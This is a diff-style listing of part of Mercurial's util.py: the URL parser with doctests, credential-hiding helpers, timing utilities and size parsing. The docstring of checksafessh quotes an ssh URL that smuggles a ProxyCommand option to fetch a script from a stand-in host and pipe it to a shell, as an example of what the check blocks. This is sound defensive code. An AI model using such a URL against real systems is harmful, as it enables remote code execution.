2984 parsequery is False, query is included in path. If both are
2982 False, both fragment and query are included in path.
2985 False, both fragment and query are included in path.
2983
2986
2984 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2987 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2985
2988
2986 Note that for backward compatibility reasons, bundle URLs do not
2989 Note that for backward compatibility reasons, bundle URLs do not
2987 take host names. That means 'bundle://../' has a path of '../'.
2990 take host names. That means 'bundle://../' has a path of '../'.
2988
2991
2989 Examples:
2992 Examples:
2990
2993
2991 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2994 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2992 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2995 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2993 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2996 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2994 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2997 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2995 >>> url(b'file:///home/joe/repo')
2998 >>> url(b'file:///home/joe/repo')
2996 <url scheme: 'file', path: '/home/joe/repo'>
2999 <url scheme: 'file', path: '/home/joe/repo'>
2997 >>> url(b'file:///c:/temp/foo/')
3000 >>> url(b'file:///c:/temp/foo/')
2998 <url scheme: 'file', path: 'c:/temp/foo/'>
3001 <url scheme: 'file', path: 'c:/temp/foo/'>
2999 >>> url(b'bundle:foo')
3002 >>> url(b'bundle:foo')
3000 <url scheme: 'bundle', path: 'foo'>
3003 <url scheme: 'bundle', path: 'foo'>
3001 >>> url(b'bundle://../foo')
3004 >>> url(b'bundle://../foo')
3002 <url scheme: 'bundle', path: '../foo'>
3005 <url scheme: 'bundle', path: '../foo'>
3003 >>> url(br'c:\foo\bar')
3006 >>> url(br'c:\foo\bar')
3004 <url path: 'c:\\foo\\bar'>
3007 <url path: 'c:\\foo\\bar'>
3005 >>> url(br'\\blah\blah\blah')
3008 >>> url(br'\\blah\blah\blah')
3006 <url path: '\\\\blah\\blah\\blah'>
3009 <url path: '\\\\blah\\blah\\blah'>
3007 >>> url(br'\\blah\blah\blah#baz')
3010 >>> url(br'\\blah\blah\blah#baz')
3008 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3011 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3009 >>> url(br'file:///C:\users\me')
3012 >>> url(br'file:///C:\users\me')
3010 <url scheme: 'file', path: 'C:\\users\\me'>
3013 <url scheme: 'file', path: 'C:\\users\\me'>
3011
3014
3012 Authentication credentials:
3015 Authentication credentials:
3013
3016
3014 >>> url(b'ssh://joe:xyz@x/repo')
3017 >>> url(b'ssh://joe:xyz@x/repo')
3015 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3018 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3016 >>> url(b'ssh://joe@x/repo')
3019 >>> url(b'ssh://joe@x/repo')
3017 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3020 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3018
3021
3019 Query strings and fragments:
3022 Query strings and fragments:
3020
3023
3021 >>> url(b'http://host/a?b#c')
3024 >>> url(b'http://host/a?b#c')
3022 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3025 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3023 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3026 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3024 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3027 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3025
3028
3026 Empty path:
3029 Empty path:
3027
3030
3028 >>> url(b'')
3031 >>> url(b'')
3029 <url path: ''>
3032 <url path: ''>
3030 >>> url(b'#a')
3033 >>> url(b'#a')
3031 <url path: '', fragment: 'a'>
3034 <url path: '', fragment: 'a'>
3032 >>> url(b'http://host/')
3035 >>> url(b'http://host/')
3033 <url scheme: 'http', host: 'host', path: ''>
3036 <url scheme: 'http', host: 'host', path: ''>
3034 >>> url(b'http://host/#a')
3037 >>> url(b'http://host/#a')
3035 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3038 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3036
3039
3037 Only scheme:
3040 Only scheme:
3038
3041
3039 >>> url(b'http:')
3042 >>> url(b'http:')
3040 <url scheme: 'http'>
3043 <url scheme: 'http'>
3041 """
3044 """
3042
3045
3043 _safechars = b"!~*'()+"
3046 _safechars = b"!~*'()+"
3044 _safepchars = b"/!~*'()+:\\"
3047 _safepchars = b"/!~*'()+:\\"
3045 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3048 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3046
3049
3047 def __init__(self, path, parsequery=True, parsefragment=True):
3050 def __init__(self, path, parsequery=True, parsefragment=True):
3048 # type: (bytes, bool, bool) -> None
3051 # type: (bytes, bool, bool) -> None
3049 # We slowly chomp away at path until we have only the path left
3052 # We slowly chomp away at path until we have only the path left
3050 self.scheme = self.user = self.passwd = self.host = None
3053 self.scheme = self.user = self.passwd = self.host = None
3051 self.port = self.path = self.query = self.fragment = None
3054 self.port = self.path = self.query = self.fragment = None
3052 self._localpath = True
3055 self._localpath = True
3053 self._hostport = b''
3056 self._hostport = b''
3054 self._origpath = path
3057 self._origpath = path
3055
3058
3056 if parsefragment and b'#' in path:
3059 if parsefragment and b'#' in path:
3057 path, self.fragment = path.split(b'#', 1)
3060 path, self.fragment = path.split(b'#', 1)
3058
3061
3059 # special case for Windows drive letters and UNC paths
3062 # special case for Windows drive letters and UNC paths
3060 if hasdriveletter(path) or path.startswith(b'\\\\'):
3063 if hasdriveletter(path) or path.startswith(b'\\\\'):
3061 self.path = path
3064 self.path = path
3062 return
3065 return
3063
3066
3064 # For compatibility reasons, we can't handle bundle paths as
3067 # For compatibility reasons, we can't handle bundle paths as
3065 # normal URLS
3068 # normal URLS
3066 if path.startswith(b'bundle:'):
3069 if path.startswith(b'bundle:'):
3067 self.scheme = b'bundle'
3070 self.scheme = b'bundle'
3068 path = path[7:]
3071 path = path[7:]
3069 if path.startswith(b'//'):
3072 if path.startswith(b'//'):
3070 path = path[2:]
3073 path = path[2:]
3071 self.path = path
3074 self.path = path
3072 return
3075 return
3073
3076
3074 if self._matchscheme(path):
3077 if self._matchscheme(path):
3075 parts = path.split(b':', 1)
3078 parts = path.split(b':', 1)
3076 if parts[0]:
3079 if parts[0]:
3077 self.scheme, path = parts
3080 self.scheme, path = parts
3078 self._localpath = False
3081 self._localpath = False
3079
3082
3080 if not path:
3083 if not path:
3081 path = None
3084 path = None
3082 if self._localpath:
3085 if self._localpath:
3083 self.path = b''
3086 self.path = b''
3084 return
3087 return
3085 else:
3088 else:
3086 if self._localpath:
3089 if self._localpath:
3087 self.path = path
3090 self.path = path
3088 return
3091 return
3089
3092
3090 if parsequery and b'?' in path:
3093 if parsequery and b'?' in path:
3091 path, self.query = path.split(b'?', 1)
3094 path, self.query = path.split(b'?', 1)
3092 if not path:
3095 if not path:
3093 path = None
3096 path = None
3094 if not self.query:
3097 if not self.query:
3095 self.query = None
3098 self.query = None
3096
3099
3097 # // is required to specify a host/authority
3100 # // is required to specify a host/authority
3098 if path and path.startswith(b'//'):
3101 if path and path.startswith(b'//'):
3099 parts = path[2:].split(b'/', 1)
3102 parts = path[2:].split(b'/', 1)
3100 if len(parts) > 1:
3103 if len(parts) > 1:
3101 self.host, path = parts
3104 self.host, path = parts
3102 else:
3105 else:
3103 self.host = parts[0]
3106 self.host = parts[0]
3104 path = None
3107 path = None
3105 if not self.host:
3108 if not self.host:
3106 self.host = None
3109 self.host = None
3107 # path of file:///d is /d
3110 # path of file:///d is /d
3108 # path of file:///d:/ is d:/, not /d:/
3111 # path of file:///d:/ is d:/, not /d:/
3109 if path and not hasdriveletter(path):
3112 if path and not hasdriveletter(path):
3110 path = b'/' + path
3113 path = b'/' + path
3111
3114
3112 if self.host and b'@' in self.host:
3115 if self.host and b'@' in self.host:
3113 self.user, self.host = self.host.rsplit(b'@', 1)
3116 self.user, self.host = self.host.rsplit(b'@', 1)
3114 if b':' in self.user:
3117 if b':' in self.user:
3115 self.user, self.passwd = self.user.split(b':', 1)
3118 self.user, self.passwd = self.user.split(b':', 1)
3116 if not self.host:
3119 if not self.host:
3117 self.host = None
3120 self.host = None
3118
3121
3119 # Don't split on colons in IPv6 addresses without ports
3122 # Don't split on colons in IPv6 addresses without ports
3120 if (
3123 if (
3121 self.host
3124 self.host
3122 and b':' in self.host
3125 and b':' in self.host
3123 and not (
3126 and not (
3124 self.host.startswith(b'[') and self.host.endswith(b']')
3127 self.host.startswith(b'[') and self.host.endswith(b']')
3125 )
3128 )
3126 ):
3129 ):
3127 self._hostport = self.host
3130 self._hostport = self.host
3128 self.host, self.port = self.host.rsplit(b':', 1)
3131 self.host, self.port = self.host.rsplit(b':', 1)
3129 if not self.host:
3132 if not self.host:
3130 self.host = None
3133 self.host = None
3131
3134
3132 if (
3135 if (
3133 self.host
3136 self.host
3134 and self.scheme == b'file'
3137 and self.scheme == b'file'
3135 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3138 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3136 ):
3139 ):
3137 raise error.Abort(
3140 raise error.Abort(
3138 _(b'file:// URLs can only refer to localhost')
3141 _(b'file:// URLs can only refer to localhost')
3139 )
3142 )
3140
3143
3141 self.path = path
3144 self.path = path
3142
3145
3143 # leave the query string escaped
3146 # leave the query string escaped
3144 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3147 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3145 v = getattr(self, a)
3148 v = getattr(self, a)
3146 if v is not None:
3149 if v is not None:
3147 setattr(self, a, urlreq.unquote(v))
3150 setattr(self, a, urlreq.unquote(v))
3148
3151
3149 def copy(self):
3152 def copy(self):
3150 u = url(b'temporary useless value')
3153 u = url(b'temporary useless value')
3151 u.path = self.path
3154 u.path = self.path
3152 u.scheme = self.scheme
3155 u.scheme = self.scheme
3153 u.user = self.user
3156 u.user = self.user
3154 u.passwd = self.passwd
3157 u.passwd = self.passwd
3155 u.host = self.host
3158 u.host = self.host
3156 u.path = self.path
3159 u.path = self.path
3157 u.query = self.query
3160 u.query = self.query
3158 u.fragment = self.fragment
3161 u.fragment = self.fragment
3159 u._localpath = self._localpath
3162 u._localpath = self._localpath
3160 u._hostport = self._hostport
3163 u._hostport = self._hostport
3161 u._origpath = self._origpath
3164 u._origpath = self._origpath
3162 return u
3165 return u
3163
3166
3164 @encoding.strmethod
3167 @encoding.strmethod
3165 def __repr__(self):
3168 def __repr__(self):
3166 attrs = []
3169 attrs = []
3167 for a in (
3170 for a in (
3168 b'scheme',
3171 b'scheme',
3169 b'user',
3172 b'user',
3170 b'passwd',
3173 b'passwd',
3171 b'host',
3174 b'host',
3172 b'port',
3175 b'port',
3173 b'path',
3176 b'path',
3174 b'query',
3177 b'query',
3175 b'fragment',
3178 b'fragment',
3176 ):
3179 ):
3177 v = getattr(self, a)
3180 v = getattr(self, a)
3178 if v is not None:
3181 if v is not None:
3179 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3182 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3180 return b'<url %s>' % b', '.join(attrs)
3183 return b'<url %s>' % b', '.join(attrs)
3181
3184
3182 def __bytes__(self):
3185 def __bytes__(self):
3183 r"""Join the URL's components back into a URL string.
3186 r"""Join the URL's components back into a URL string.
3184
3187
3185 Examples:
3188 Examples:
3186
3189
3187 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3190 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3188 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3191 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3189 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3192 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3190 'http://user:pw@host:80/?foo=bar&baz=42'
3193 'http://user:pw@host:80/?foo=bar&baz=42'
3191 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3194 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3192 'http://user:pw@host:80/?foo=bar%3dbaz'
3195 'http://user:pw@host:80/?foo=bar%3dbaz'
3193 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3196 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3194 'ssh://user:pw@[::1]:2200//home/joe#'
3197 'ssh://user:pw@[::1]:2200//home/joe#'
3195 >>> bytes(url(b'http://localhost:80//'))
3198 >>> bytes(url(b'http://localhost:80//'))
3196 'http://localhost:80//'
3199 'http://localhost:80//'
3197 >>> bytes(url(b'http://localhost:80/'))
3200 >>> bytes(url(b'http://localhost:80/'))
3198 'http://localhost:80/'
3201 'http://localhost:80/'
3199 >>> bytes(url(b'http://localhost:80'))
3202 >>> bytes(url(b'http://localhost:80'))
3200 'http://localhost:80/'
3203 'http://localhost:80/'
3201 >>> bytes(url(b'bundle:foo'))
3204 >>> bytes(url(b'bundle:foo'))
3202 'bundle:foo'
3205 'bundle:foo'
3203 >>> bytes(url(b'bundle://../foo'))
3206 >>> bytes(url(b'bundle://../foo'))
3204 'bundle:../foo'
3207 'bundle:../foo'
3205 >>> bytes(url(b'path'))
3208 >>> bytes(url(b'path'))
3206 'path'
3209 'path'
3207 >>> bytes(url(b'file:///tmp/foo/bar'))
3210 >>> bytes(url(b'file:///tmp/foo/bar'))
3208 'file:///tmp/foo/bar'
3211 'file:///tmp/foo/bar'
3209 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3212 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3210 'file:///c:/tmp/foo/bar'
3213 'file:///c:/tmp/foo/bar'
3211 >>> print(url(br'bundle:foo\bar'))
3214 >>> print(url(br'bundle:foo\bar'))
3212 bundle:foo\bar
3215 bundle:foo\bar
3213 >>> print(url(br'file:///D:\data\hg'))
3216 >>> print(url(br'file:///D:\data\hg'))
3214 file:///D:\data\hg
3217 file:///D:\data\hg
3215 """
3218 """
3216 if self._localpath:
3219 if self._localpath:
3217 s = self.path
3220 s = self.path
3218 if self.scheme == b'bundle':
3221 if self.scheme == b'bundle':
3219 s = b'bundle:' + s
3222 s = b'bundle:' + s
3220 if self.fragment:
3223 if self.fragment:
3221 s += b'#' + self.fragment
3224 s += b'#' + self.fragment
3222 return s
3225 return s
3223
3226
3224 s = self.scheme + b':'
3227 s = self.scheme + b':'
3225 if self.user or self.passwd or self.host:
3228 if self.user or self.passwd or self.host:
3226 s += b'//'
3229 s += b'//'
3227 elif self.scheme and (
3230 elif self.scheme and (
3228 not self.path
3231 not self.path
3229 or self.path.startswith(b'/')
3232 or self.path.startswith(b'/')
3230 or hasdriveletter(self.path)
3233 or hasdriveletter(self.path)
3231 ):
3234 ):
3232 s += b'//'
3235 s += b'//'
3233 if hasdriveletter(self.path):
3236 if hasdriveletter(self.path):
3234 s += b'/'
3237 s += b'/'
3235 if self.user:
3238 if self.user:
3236 s += urlreq.quote(self.user, safe=self._safechars)
3239 s += urlreq.quote(self.user, safe=self._safechars)
3237 if self.passwd:
3240 if self.passwd:
3238 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3241 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3239 if self.user or self.passwd:
3242 if self.user or self.passwd:
3240 s += b'@'
3243 s += b'@'
3241 if self.host:
3244 if self.host:
3242 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3245 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3243 s += urlreq.quote(self.host)
3246 s += urlreq.quote(self.host)
3244 else:
3247 else:
3245 s += self.host
3248 s += self.host
3246 if self.port:
3249 if self.port:
3247 s += b':' + urlreq.quote(self.port)
3250 s += b':' + urlreq.quote(self.port)
3248 if self.host:
3251 if self.host:
3249 s += b'/'
3252 s += b'/'
3250 if self.path:
3253 if self.path:
3251 # TODO: similar to the query string, we should not unescape the
3254 # TODO: similar to the query string, we should not unescape the
3252 # path when we store it, the path might contain '%2f' = '/',
3255 # path when we store it, the path might contain '%2f' = '/',
3253 # which we should *not* escape.
3256 # which we should *not* escape.
3254 s += urlreq.quote(self.path, safe=self._safepchars)
3257 s += urlreq.quote(self.path, safe=self._safepchars)
3255 if self.query:
3258 if self.query:
3256 # we store the query in escaped form.
3259 # we store the query in escaped form.
3257 s += b'?' + self.query
3260 s += b'?' + self.query
3258 if self.fragment is not None:
3261 if self.fragment is not None:
3259 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3262 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3260 return s
3263 return s
3261
3264
3262 __str__ = encoding.strmethod(__bytes__)
3265 __str__ = encoding.strmethod(__bytes__)
3263
3266
3264 def authinfo(self):
3267 def authinfo(self):
3265 user, passwd = self.user, self.passwd
3268 user, passwd = self.user, self.passwd
3266 try:
3269 try:
3267 self.user, self.passwd = None, None
3270 self.user, self.passwd = None, None
3268 s = bytes(self)
3271 s = bytes(self)
3269 finally:
3272 finally:
3270 self.user, self.passwd = user, passwd
3273 self.user, self.passwd = user, passwd
3271 if not self.user:
3274 if not self.user:
3272 return (s, None)
3275 return (s, None)
3273 # authinfo[1] is passed to urllib2 password manager, and its
3276 # authinfo[1] is passed to urllib2 password manager, and its
3274 # URIs must not contain credentials. The host is passed in the
3277 # URIs must not contain credentials. The host is passed in the
3275 # URIs list because Python < 2.4.3 uses only that to search for
3278 # URIs list because Python < 2.4.3 uses only that to search for
3276 # a password.
3279 # a password.
3277 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3280 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3278
3281
3279 def isabs(self):
3282 def isabs(self):
3280 if self.scheme and self.scheme != b'file':
3283 if self.scheme and self.scheme != b'file':
3281 return True # remote URL
3284 return True # remote URL
3282 if hasdriveletter(self.path):
3285 if hasdriveletter(self.path):
3283 return True # absolute for our purposes - can't be joined()
3286 return True # absolute for our purposes - can't be joined()
3284 if self.path.startswith(br'\\'):
3287 if self.path.startswith(br'\\'):
3285 return True # Windows UNC path
3288 return True # Windows UNC path
3286 if self.path.startswith(b'/'):
3289 if self.path.startswith(b'/'):
3287 return True # POSIX-style
3290 return True # POSIX-style
3288 return False
3291 return False
3289
3292
3290 def localpath(self):
3293 def localpath(self):
3291 # type: () -> bytes
3294 # type: () -> bytes
3292 if self.scheme == b'file' or self.scheme == b'bundle':
3295 if self.scheme == b'file' or self.scheme == b'bundle':
3293 path = self.path or b'/'
3296 path = self.path or b'/'
3294 # For Windows, we need to promote hosts containing drive
3297 # For Windows, we need to promote hosts containing drive
3295 # letters to paths with drive letters.
3298 # letters to paths with drive letters.
3296 if hasdriveletter(self._hostport):
3299 if hasdriveletter(self._hostport):
3297 path = self._hostport + b'/' + self.path
3300 path = self._hostport + b'/' + self.path
3298 elif (
3301 elif (
3299 self.host is not None and self.path and not hasdriveletter(path)
3302 self.host is not None and self.path and not hasdriveletter(path)
3300 ):
3303 ):
3301 path = b'/' + path
3304 path = b'/' + path
3302 return path
3305 return path
3303 return self._origpath
3306 return self._origpath
3304
3307
3305 def islocal(self):
3308 def islocal(self):
3306 '''whether localpath will return something that posixfile can open'''
3309 '''whether localpath will return something that posixfile can open'''
3307 return (
3310 return (
3308 not self.scheme
3311 not self.scheme
3309 or self.scheme == b'file'
3312 or self.scheme == b'file'
3310 or self.scheme == b'bundle'
3313 or self.scheme == b'bundle'
3311 )
3314 )
3312
3315
3313
3316
3314 def hasscheme(path):
3317 def hasscheme(path):
3315 # type: (bytes) -> bool
3318 # type: (bytes) -> bool
3316 return bool(url(path).scheme) # cast to help pytype
3319 return bool(url(path).scheme) # cast to help pytype
3317
3320
3318
3321
3319 def hasdriveletter(path):
3322 def hasdriveletter(path):
3320 # type: (bytes) -> bool
3323 # type: (bytes) -> bool
3321 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
3324 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
3322
3325
3323
3326
3324 def urllocalpath(path):
3327 def urllocalpath(path):
3325 # type: (bytes) -> bytes
3328 # type: (bytes) -> bytes
3326 return url(path, parsequery=False, parsefragment=False).localpath()
3329 return url(path, parsequery=False, parsefragment=False).localpath()
3327
3330
3328
3331
3329 def checksafessh(path):
3332 def checksafessh(path):
3330 # type: (bytes) -> None
3333 # type: (bytes) -> None
3331 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3334 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3332
3335
3333 This is a sanity check for ssh urls. ssh will parse the first item as
3336 This is a sanity check for ssh urls. ssh will parse the first item as
3334 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3337 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3335 Let's prevent these potentially exploited urls entirely and warn the
3338 Let's prevent these potentially exploited urls entirely and warn the
3336 user.
3339 user.
3337
3340
3338 Raises an error.Abort when the url is unsafe.
3341 Raises an error.Abort when the url is unsafe.
3339 """
3342 """
3340 path = urlreq.unquote(path)
3343 path = urlreq.unquote(path)
3341 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3344 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3342 raise error.Abort(
3345 raise error.Abort(
3343 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3346 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3344 )
3347 )
3345
3348
3346
3349
3347 def hidepassword(u):
3350 def hidepassword(u):
3348 # type: (bytes) -> bytes
3351 # type: (bytes) -> bytes
3349 '''hide user credential in a url string'''
3352 '''hide user credential in a url string'''
3350 u = url(u)
3353 u = url(u)
3351 if u.passwd:
3354 if u.passwd:
3352 u.passwd = b'***'
3355 u.passwd = b'***'
3353 return bytes(u)
3356 return bytes(u)
3354
3357
3355
3358
3356 def removeauth(u):
3359 def removeauth(u):
3357 # type: (bytes) -> bytes
3360 # type: (bytes) -> bytes
3358 '''remove all authentication information from a url string'''
3361 '''remove all authentication information from a url string'''
3359 u = url(u)
3362 u = url(u)
3360 u.user = u.passwd = None
3363 u.user = u.passwd = None
3361 return bytes(u)
3364 return bytes(u)
3362
3365
3363
3366
3364 timecount = unitcountfn(
3367 timecount = unitcountfn(
3365 (1, 1e3, _(b'%.0f s')),
3368 (1, 1e3, _(b'%.0f s')),
3366 (100, 1, _(b'%.1f s')),
3369 (100, 1, _(b'%.1f s')),
3367 (10, 1, _(b'%.2f s')),
3370 (10, 1, _(b'%.2f s')),
3368 (1, 1, _(b'%.3f s')),
3371 (1, 1, _(b'%.3f s')),
3369 (100, 0.001, _(b'%.1f ms')),
3372 (100, 0.001, _(b'%.1f ms')),
3370 (10, 0.001, _(b'%.2f ms')),
3373 (10, 0.001, _(b'%.2f ms')),
3371 (1, 0.001, _(b'%.3f ms')),
3374 (1, 0.001, _(b'%.3f ms')),
3372 (100, 0.000001, _(b'%.1f us')),
3375 (100, 0.000001, _(b'%.1f us')),
3373 (10, 0.000001, _(b'%.2f us')),
3376 (10, 0.000001, _(b'%.2f us')),
3374 (1, 0.000001, _(b'%.3f us')),
3377 (1, 0.000001, _(b'%.3f us')),
3375 (100, 0.000000001, _(b'%.1f ns')),
3378 (100, 0.000000001, _(b'%.1f ns')),
3376 (10, 0.000000001, _(b'%.2f ns')),
3379 (10, 0.000000001, _(b'%.2f ns')),
3377 (1, 0.000000001, _(b'%.3f ns')),
3380 (1, 0.000000001, _(b'%.3f ns')),
3378 )
3381 )
3379
3382
3380
3383
3381 @attr.s
3384 @attr.s
3382 class timedcmstats(object):
3385 class timedcmstats(object):
3383 """Stats information produced by the timedcm context manager on entering."""
3386 """Stats information produced by the timedcm context manager on entering."""
3384
3387
3385 # the starting value of the timer as a float (meaning and resulution is
3388 # the starting value of the timer as a float (meaning and resulution is
3386 # platform dependent, see util.timer)
3389 # platform dependent, see util.timer)
3387 start = attr.ib(default=attr.Factory(lambda: timer()))
3390 start = attr.ib(default=attr.Factory(lambda: timer()))
3388 # the number of seconds as a floating point value; starts at 0, updated when
3391 # the number of seconds as a floating point value; starts at 0, updated when
3389 # the context is exited.
3392 # the context is exited.
3390 elapsed = attr.ib(default=0)
3393 elapsed = attr.ib(default=0)
3391 # the number of nested timedcm context managers.
3394 # the number of nested timedcm context managers.
3392 level = attr.ib(default=1)
3395 level = attr.ib(default=1)
3393
3396
3394 def __bytes__(self):
3397 def __bytes__(self):
3395 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3398 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3396
3399
3397 __str__ = encoding.strmethod(__bytes__)
3400 __str__ = encoding.strmethod(__bytes__)
3398
3401
3399
3402
3400 @contextlib.contextmanager
3403 @contextlib.contextmanager
3401 def timedcm(whencefmt, *whenceargs):
3404 def timedcm(whencefmt, *whenceargs):
3402 """A context manager that produces timing information for a given context.
3405 """A context manager that produces timing information for a given context.
3403
3406
3404 On entering a timedcmstats instance is produced.
3407 On entering a timedcmstats instance is produced.
3405
3408
3406 This context manager is reentrant.
3409 This context manager is reentrant.
3407
3410
3408 """
3411 """
3409 # track nested context managers
3412 # track nested context managers
3410 timedcm._nested += 1
3413 timedcm._nested += 1
3411 timing_stats = timedcmstats(level=timedcm._nested)
3414 timing_stats = timedcmstats(level=timedcm._nested)
3412 try:
3415 try:
3413 with tracing.log(whencefmt, *whenceargs):
3416 with tracing.log(whencefmt, *whenceargs):
3414 yield timing_stats
3417 yield timing_stats
3415 finally:
3418 finally:
3416 timing_stats.elapsed = timer() - timing_stats.start
3419 timing_stats.elapsed = timer() - timing_stats.start
3417 timedcm._nested -= 1
3420 timedcm._nested -= 1
3418
3421
3419
3422
3420 timedcm._nested = 0
3423 timedcm._nested = 0
3421
3424
3422
3425
3423 def timed(func):
3426 def timed(func):
3424 """Report the execution time of a function call to stderr.
3427 """Report the execution time of a function call to stderr.
3425
3428
3426 During development, use as a decorator when you need to measure
3429 During development, use as a decorator when you need to measure
3427 the cost of a function, e.g. as follows:
3430 the cost of a function, e.g. as follows:
3428
3431
3429 @util.timed
3432 @util.timed
3430 def foo(a, b, c):
3433 def foo(a, b, c):
3431 pass
3434 pass
3432 """
3435 """
3433
3436
3434 def wrapper(*args, **kwargs):
3437 def wrapper(*args, **kwargs):
3435 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3438 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3436 result = func(*args, **kwargs)
3439 result = func(*args, **kwargs)
3437 stderr = procutil.stderr
3440 stderr = procutil.stderr
3438 stderr.write(
3441 stderr.write(
3439 b'%s%s: %s\n'
3442 b'%s%s: %s\n'
3440 % (
3443 % (
3441 b' ' * time_stats.level * 2,
3444 b' ' * time_stats.level * 2,
3442 pycompat.bytestr(func.__name__),
3445 pycompat.bytestr(func.__name__),
3443 time_stats,
3446 time_stats,
3444 )
3447 )
3445 )
3448 )
3446 return result
3449 return result
3447
3450
3448 return wrapper
3451 return wrapper
3449
3452
3450
3453
3451 _sizeunits = (
3454 _sizeunits = (
3452 (b'm', 2 ** 20),
3455 (b'm', 2 ** 20),
3453 (b'k', 2 ** 10),
3456 (b'k', 2 ** 10),
3454 (b'g', 2 ** 30),
3457 (b'g', 2 ** 30),
3455 (b'kb', 2 ** 10),
3458 (b'kb', 2 ** 10),
3456 (b'mb', 2 ** 20),
3459 (b'mb', 2 ** 20),
3457 (b'gb', 2 ** 30),
3460 (b'gb', 2 ** 30),
3458 (b'b', 1),
3461 (b'b', 1),
3459 )
3462 )
3460
3463
3461
3464
3462 def sizetoint(s):
3465 def sizetoint(s):
3463 # type: (bytes) -> int
3466 # type: (bytes) -> int
3464 """Convert a space specifier to a byte count.
3467 """Convert a space specifier to a byte count.
3465
3468
3466 >>> sizetoint(b'30')
3469 >>> sizetoint(b'30')
3467 30
3470 30
3468 >>> sizetoint(b'2.2kb')
3471 >>> sizetoint(b'2.2kb')
3469 2252
3472 2252
3470 >>> sizetoint(b'6M')
3473 >>> sizetoint(b'6M')
3471 6291456
3474 6291456
3472 """
3475 """
3473 t = s.strip().lower()
3476 t = s.strip().lower()
3474 try:
3477 try:
3475 for k, u in _sizeunits:
3478 for k, u in _sizeunits:
3476 if t.endswith(k):
3479 if t.endswith(k):
3477 return int(float(t[: -len(k)]) * u)
3480 return int(float(t[: -len(k)]) * u)
3478 return int(t)
3481 return int(t)
3479 except ValueError:
3482 except ValueError:
3480 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3483 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3481
3484
3482
3485
3483 class hooks(object):
3486 class hooks(object):
3484 """A collection of hook functions that can be used to extend a
3487 """A collection of hook functions that can be used to extend a
3485 function's behavior. Hooks are called in lexicographic order,
3488 function's behavior. Hooks are called in lexicographic order,
3486 based on the names of their sources."""
3489 based on the names of their sources."""
3487
3490
3488 def __init__(self):
3491 def __init__(self):
3489 self._hooks = []
3492 self._hooks = []
3490
3493
3491 def add(self, source, hook):
3494 def add(self, source, hook):
3492 self._hooks.append((source, hook))
3495 self._hooks.append((source, hook))
3493
3496
3494 def __call__(self, *args):
3497 def __call__(self, *args):
3495 self._hooks.sort(key=lambda x: x[0])
